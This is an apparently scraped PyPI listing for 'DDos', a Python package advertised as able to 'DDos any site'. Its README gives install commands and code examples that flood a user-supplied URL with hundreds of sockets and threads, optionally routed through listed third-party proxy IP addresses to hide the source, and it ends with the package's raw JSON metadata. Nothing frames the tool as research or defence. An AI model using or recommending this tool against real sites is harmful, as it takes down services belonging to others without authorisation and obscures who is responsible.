# DDos
DDos any site using python
## Install
### From Pypi
`pip3 install DDos==1.0.1` (You should really use this version)
### From GitHub
`pip3 install git+https://github.com/donno2048/DDos`
## Usage
### GUI
To use it just run:
```sh
DDos
```
or
```sh
ddos
```
in the terminal to launch the GUI (tkinter is a requirement for the GUI so use: `sudo apt-get update && sudo apt-get install python3-tk -y` on linux and on Windows it's already installed)
### TUI
To use the text-based user interface see this python example:
```py
from DDos import checkUrl, DDos # import the needed functions
while True:
url = input("Give me a URL: ") # get a url from the user
if checkUrl(url): break # if it's formatted correctly exit the loop
else: print("This URL isn't formatted correctly, try again") # else, go back
DDos(url, sockets = 400, threads = 10, use_proxies = True) # ddos this url with 400 sockets and 10 threads and use the built-it proxies
```
or simply:
```py
from DDos import DDos
DDos(input("Give me a URL: ")) # if the url isn't formatted correctly it will have an assertion error, use 500 sockets and 10 threads, no proxies will be used
```
The DDos function has also a `custom_proxies` optional variable and there is a `checkProxy` function, you can use them like so:
```py
from DDos import DDos, checkProxy
assert checkProxy("109.237.91.155:8080")
assert checkProxy("178.128.37.176:80")
DDos(input("Give me a URL: "), use_proxies = True, custom_proxies = ["109.237.91.155:8080", "178.128.37.176:80"])
```
If you give an invalid proxy you will get an assertion error.
Raw data
{
"_id": null,
"home_page": "https://github.com/donno2048/DDos",
"name": "DDos",
"maintainer": "",
"docs_url": null,
"requires_python": "",
"maintainer_email": "",
"keywords": "",
"author": "Elisha Hollander",
"author_email": "",
"download_url": "https://files.pythonhosted.org/packages/4d/14/ee513d14b69bc649a59353bf2bf3940628d749920f4f22cd6757135d1548/DDos-1.0.3.tar.gz",
"platform": "",
"description": "# DDos\n\nDDos any site using python\n\n## Install\n\n### From Pypi\n\n`pip3 install DDos==1.0.1` (You should really use this version)\n\n### From GitHub\n\n`pip3 install git+https://github.com/donno2048/DDos`\n\n## Usage\n\n### GUI\n\nTo use it just run:\n\n```sh\nDDos\n```\n\nor\n\n```sh\nddos\n```\n\nin the terminal to launch the GUI (tkinter is a requirement for the GUI so use: `sudo apt-get update && sudo apt-get install python3-tk -y` on linux and on Windows it's already installed)\n\n### TUI\n\nTo use the text-based user interface see this python example:\n\n```py\nfrom DDos import checkUrl, DDos # import the needed functions\nwhile True:\n url = input(\"Give me a URL: \") # get a url from the user\n if checkUrl(url): break # if it's formatted correctly exit the loop\n else: print(\"This URL isn't formatted correctly, try again\") # else, go back\nDDos(url, sockets = 400, threads = 10, use_proxies = True) # ddos this url with 400 sockets and 10 threads and use the built-it proxies\n```\n\nor simply:\n\n```py\nfrom DDos import DDos\nDDos(input(\"Give me a URL: \")) # if the url isn't formatted correctly it will have an assertion error, use 500 sockets and 10 threads, no proxies will be used\n```\n\nThe DDos function has also a `custom_proxies` optional variable and there is a `checkProxy` function, you can use them like so:\n\n```py\nfrom DDos import DDos, checkProxy\nassert checkProxy(\"109.237.91.155:8080\")\nassert checkProxy(\"178.128.37.176:80\")\nDDos(input(\"Give me a URL: \"), use_proxies = True, custom_proxies = [\"109.237.91.155:8080\", \"178.128.37.176:80\"])\n```\n\nIf you give an invalid proxy you will get an assertion error.\n\n\n",
"bugtrack_url": null,
"license": "MIT",
"summary": "DDos any site",
"version": "1.0.3",
"project_urls": {
"Homepage": "https://github.com/donno2048/DDos"
},
"split_keywords": [],
"urls": [
{
"comment_text": "",
"digests": {
"blake2b_256": "e28cb579326d78e2fe01f87789ba82e174fadfb1ac16377743d7afaa31d21dec",
"md5": "904c86ca35561d882d27a902cfb76339",
"sha256": "4c6f330b08df12a256723466cb1d188ea5b231dd5174afe83fab45aa3c10d2f7"
},
"downloads": -1,
"filename": "DDos-1.0.3-py3-none-any.whl",
"has_sig": false,
"md5_digest": "904c86ca35561d882d27a902cfb76339",
"packagetype": "bdist_wheel",
"python_version": "py3",
"requires_python": null,
"size": 7148,
"upload_time": "2021-12-29T19:23:00",
"upload_time_iso_8601": "2021-12-29T19:23:00.886431Z",
"url": "https://files.pythonhosted.org/packages/e2/8c/b579326d78e2fe01f87789ba82e174fadfb1ac16377743d7afaa31d21dec/DDos-1.0.3-py3-none-any.whl",
"yanked": false,
"yanked_reason": null
},
{
"comment_text": "",
"digests": {
"blake2b_256": "4d14ee513d14b69bc649a59353bf2bf3940628d749920f4f22cd6757135d1548",
"md5": "90f6de232fb7967cadea23ef6f069769",
"sha256": "5de17547f66f5b7e658af17e81f61e98251e55748ce829911df58744664473eb"
},
"downloads": -1,
"filename": "DDos-1.0.3.tar.gz",
"has_sig": false,
"md5_digest": "90f6de232fb7967cadea23ef6f069769",
"packagetype": "sdist",
"python_version": "source",
"requires_python": null,
"size": 6564,
"upload_time": "2021-12-29T19:23:02",
"upload_time_iso_8601": "2021-12-29T19:23:02.668246Z",
"url": "https://files.pythonhosted.org/packages/4d/14/ee513d14b69bc649a59353bf2bf3940628d749920f4f22cd6757135d1548/DDos-1.0.3.tar.gz",
"yanked": false,
"yanked_reason": null
}
],
"upload_time": "2021-12-29 19:23:02",
"github": true,
"gitlab": false,
"bitbucket": false,
"codeberg": false,
"github_user": "donno2048",
"github_project": "DDos",
"travis_ci": false,
"coveralls": false,
"github_actions": true,
"lcname": "ddos"
}